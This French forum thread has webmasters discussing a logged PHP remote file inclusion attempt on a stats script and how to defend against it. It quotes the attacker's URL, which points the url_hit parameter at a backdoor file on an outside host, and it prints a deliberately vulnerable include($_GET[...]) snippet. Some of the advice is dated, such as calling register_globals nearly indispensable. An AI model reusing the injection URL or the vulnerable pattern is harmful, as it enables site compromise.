Tentative de Hack ?

[Sak]

J'utilise un script de stats dont j'ai protégé le repertoire avec un htaccess. J'ai fait de sorte qu'une tentative infructueuse m'envoit un mail avec la page référente, la page ayant générée l'erreur, l'Ip du visiteur, l'IP de son FAi, sa résollution, etc.
Hier, pour la première fois je reçois un mail d'une tentative d'accès et voici l'url d'accès: -http://www.soninkara.org/ .../xxx.php?url_hit=http://gupl.org/mail/shell.txt?
Alors intrigué et inquiet je me suis rendu à cet adresse +http://gupl.org/mail/shell.txt et quelle n'a été ma surprise de voir une page PHP et mon antivirus qui me dit avoir bloqué le virus PHP.Backdoor.TROJAN.

Je suis convaincu que c'est une tentative de piratage. Je possède l'url du visiteur et c'est un abonné de Free. La même IP est apparue aujourdhui encore en voulant faire la même chose.
Une question: je voudrais dénoncer cette tentative, devrai-je la faire chez Free ou à la Police ?
Si des personnes peuvent m'indiquer sur la façon de procéder, ce sera sympa.

 

[bigjet]

Il s'agit bien d'un pirate qui essaie de profiter d'une éventuelle faiblesse de ton site.

Il essaie d'executer le code php contenu dans son shell.txt à partir de ton site. Imagine que dans ta page php tu aies mis un code du genre:

<?php
include($_GET['url_hit']);
?>

Tu serais cuit car son code va être inclut et executé dans ton script.

Le remède: Ne JAMAIS utiliser une variable dans un include sans imposer des règles bien précises (exemple: lister toutes les possibilités que la variable peut prendre et tester à chaque fois si le contenu de la variable est valide). On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.

 

[ebe327]

Tu n’utilises pas par hasard AWSTAT, j’ai eu le même phénomène

 

[Suede]

Ils essayent sur tous les scripts connus.
J'a banni le useragent libwww via htaccess.

François

 

[Tilt]

Une question: je voudrais dénoncer cette tentative, devrai-je la faire chez Free ou à la Police ?
Si des personnes peuvent m'indiquer sur la façon de procéder, ce sera sympa.

Pour ma part j'envoie une copie du mail à l'hébergeur sans m'attarder sur les détails et j'écris qq chose comme:
"mon moniteur de sécurité m'a averti d'une tentative d'intrusion sur mon site xy. le rapport indique que cette tentative provient de l'un de vos usagers (copie ci-joint, ip, email etc...). pourriez-vous faire le nécessaire auprès de votre client pour qu'il cesse ses agissements irréguliers ? ... je vous prie de m'avertir si vous ne parvenez pas à l'identifier afin que je puisse transmettre mes éléments aux services de police concernés."

 

[Sak]

Tu n’utilises pas par hasard AWSTAT, j’ai eu le même phénomène

Il s'agit du script Kietu?. Je viens de faire part au responsable du script la tentative de hack.
Je vais envoyer un mail à son FAI c'est à dire FREE et je vous tiendrais au courant.
Je remercie toute la communauté WRI.

 

[Pandore]

lister toutes les possibilités que la variable peut prendre et tester à chaque fois si le contenu de la variable est valide

Pas toujours possible ...

On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.

Comment tu mets ça en pratique ???

 

[Sak]

On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.

Comment tu mets ça en pratique ???[/quote]
Je suis aussi preneur de cette solution.
Est ce via htaccess ?
8O

 

[Sak]

Après recherche, il paraît que les pirates cherchent des serveurs mal configurés ayant Register_Globals est à ON. Il ne s'agit pas d'une faille de sécurité de Kietu? mais plutôt d'une faille créée par la configuration serveur
Dans mon exemple, cela définira bien une variable $_GET['url_hit'] qui contiendra +http://gupl.org/mail/shell.txt

 

[bigjet]

On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.

Comment tu mets ça en pratique ???
Je suis aussi preneur de cette solution.
Est ce via htaccess ?
8O

Désolé de la réponse tardive.
Normalement ça se fait via le php.ini et c'est la variable allow_url_fopen qu'il faut mettre à off.

 

[Sak]

Ok merci pour l'info

 

[Pandore]

Normalement ça se fait via le php.ini et c'est la variable allow_url_fopen qu'il faut mettre à off.

C'est pour les dédiés ça ? En mutualisé, on ne peut pas modifier le fichier php.ini ... C'est peut-être déjà à cet valeur. Il y a moyen de le savoir ou pas ???

Merci quand même de ta réponse, ça peut toujours servir :wink:

 

[thierry8]

oui tu peux le savoir via le phpinfo.
(une recherche sur la page phpinfo avec le nav.)

par contre ce qui m'intéresse c'est de savoir s'il est possible de désactiver la fonction via htaccess.
(ou même dans le code htaccess)

 

[Pandore]

une recherche sur la page phpinfo avec le nav.

C'est-à-dire ??? Quelle page phpinfo ???

 

[rog]

faut mettre

echo phpinfo();

dans une page

rog

 

[thierry8]

par contre ce qui m'intéresse c'est de savoir s'il est possible de désactiver la fonction via htaccess.
(ou même dans le code htaccess)

bon j'ai regardé, via htaccess je n'ai rien trouvé en revanche en php avec ini_set() on ne peut modifier cette variable de config.

 

[Pandore]

Ok, merci rog :wink:

Je viens de tester ça, et pas de bol, allow_url_fopen et Register_Globals sont sur "on". Mais je pense que ça doit être partout pareil sur les mutualisés ... :lol:

 

[thierry8]

Ok, merci rog :wink:

Je viens de tester ça, et pas de bol, allow_url_fopen et Register_Globals sont sur "on". Mais je pense que ça doit être partout pareil sur les mutualisés ... :lol:

oui Register_Globals est presque indispensable..

pour allow_url_fopen c'est en effet à on sur la plupart des hébergeurs.
mais comme l'a dit rog, si toutes les données entrantes sont bien gérées, il ne peut y avoir de problème. mais cette fonction est nécessaire et les hébergeurs ne peuvent priver les utilisateurs de cela (ceux qui parse des flux d'autres sites par exemple)

 

[salva]

Normalement ça se fait via le php.ini et c'est la variable allow_url_fopen qu'il faut mettre à off.

C'est pour les dédiés ça ? En mutualisé, on ne peut pas modifier le fichier php.ini ... C'est peut-être déjà à cet valeur. Il y a moyen de le savoir ou pas ???

Merci quand même de ta réponse, ça peut toujours servir :wink:

Certains hébergeurs mutualisés (dont celeonet) te passent "Register_Globals" à "off" sur demande.

 

[rog]

defendre un script avec globals activé est dur

la il faut prevoir que toutes tes variables sont injectables et pour chaque variable déclarée tu dois evaluer les risques d'une injection

rog

 

[aventvoy]

une recherche sur la page phpinfo avec le nav.

C'est-à-dire ??? Quelle page phpinfo ???

tu entres dans ton navigateur l'url de ton site www.lenomdedomaine.truc puis /phpinfo.php
Et ça te donne tout le détail de la configuration php sur ton serveur.
Ce qui m'a permis de vérifier qu'il y a bien allow_url_fopen On comme "local Value" et comme "Master Value.
C'est serveur mutu, donc phpini inaccessible. COmment je fais pour avoir allow_url_fopen OFF ?
Merci

 

[thierry8]

@aventvoy : il avait compris je pense : :roll:

Ok, merci rog :wink:

pour ta question: demande à ton hébergeur me semble logique non ? :roll:

 

[aventvoy]

Il avait effectivement compris, j'ai "posté" sans lire la suite...
Et mon hébergeur, merci, je lui ai déjà demandé, et la réponse est not possible. Comme l'a dit Rog un peu plus haut : "cette fonction est nécessaire et les hébergeurs ne peuvent priver les utilisateurs de cela (ceux qui parse des flux d'autres sites par exemple)".
Merci quand même, et hop je me remets à ma place, je lis et je la ferme... Ça m'apprendra a répondre moins vite que d'autres :roll:

 

[V]

aller à l'oclctic (la police) pour ce genre de chose.

 

[thierry8]

Comme l'a dit Rog un peu plus haut : "cette fonction est nécessaire et les hébergeurs ne peuvent priver les utilisateurs de cela (ceux qui parse des flux d'autres sites par exemple)".

c'est moi qui est écris cela. tu as du mal ce matin ?!